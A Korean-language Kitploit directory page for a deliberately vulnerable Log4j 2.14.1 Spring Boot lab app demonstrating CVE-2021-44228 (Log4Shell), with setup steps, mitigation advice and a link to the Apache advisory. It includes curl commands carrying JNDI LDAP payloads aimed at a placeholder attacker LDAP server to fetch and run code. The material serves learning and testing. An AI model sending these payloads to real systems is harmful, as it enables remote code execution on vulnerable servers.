Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4j2-CVE-2021-44228 | Kitploit
도구/GitHubGitHub/pravin-pp/log4j2-cve-2021-44228
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubpravin-pp/log4j2-cve-2021-44228

log4j2-CVE-2021-44228

저장소 보기
14년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

샘플 Log4j2 취약 애플리케이션 (CVE-2021-44228)

영향받는 버전: 2.0-beta9 ~ 2.14.1의 모든 버전

이 애플리케이션은 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다.

Log4j 2.14.1을 사용합니다 (spring-boot-starter-log4j2 2.6.1을 통해).

애플리케이션 실행

실행:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

악용 단계

  • 그런 다음, 다음을 사용하여 악용을 트리거합니다:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
	"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
  • 악의적인 LDAP 서버에 연결하고 있음을 보여주는 출력을 확인하세요:
root@kitploit:~
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]


Caused by: java.net.UnknownHostException: your-private-ip
  • 실제 LDAP 서버 정보를 입력하면 객체를 다운로드하여 Java 프로그램에서 실행합니다.

이 취약점은 애플리케이션이 검증되지 않은 데이터의 로그 메시지를 출력하는 경우 클라이언트용 및 백엔드 핵심 시스템을 포함한 모든 서버에 영향을 미칩니다..

  • 예를 들어, 악용 코드가 포함된 User-Agent 문자열이 인덱싱이나 데이터 과학을 수행하는 Java로 작성된 백엔드 시스템으로 전달되어 로그에 기록될 수 있습니다. 이것이 Log4j 버전 2를 사용하는 모든 Java 기반 소프트웨어가 즉시 패치되거나 완화 조치가 적용되어야 하는 이유입니다. 인터넷에 노출된 소프트웨어가 Java로 작성되지 않았더라도, 문자열이 Java 기반의 다른 시스템으로 전달되어 악용이 발생할 수 있습니다.

완화 조치 :

참조 : https://logging.apache.org/log4j/2.x/security.html

  • 애플리케이션 빠른 핫픽스 -> 릴리스 >=2.10에서는 시스템 속성 log4j2.formatMsgNoLookups 또는 환경 변수 LOG4J_FORMAT_MSG_NO_LOOKUPS를 true로 설정하여 이 동작을 완화할 수 있습니다. 2.0-beta9 ~ 2.10.0 릴리스의 경우 완화 방법은 classpath에서 JndiLookup 클래스를 제거하는 것입니다: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

  • 애플리케이션에서 log4j 2.15.0으로 업그레이드하고 배포하세요.

도구 다운로드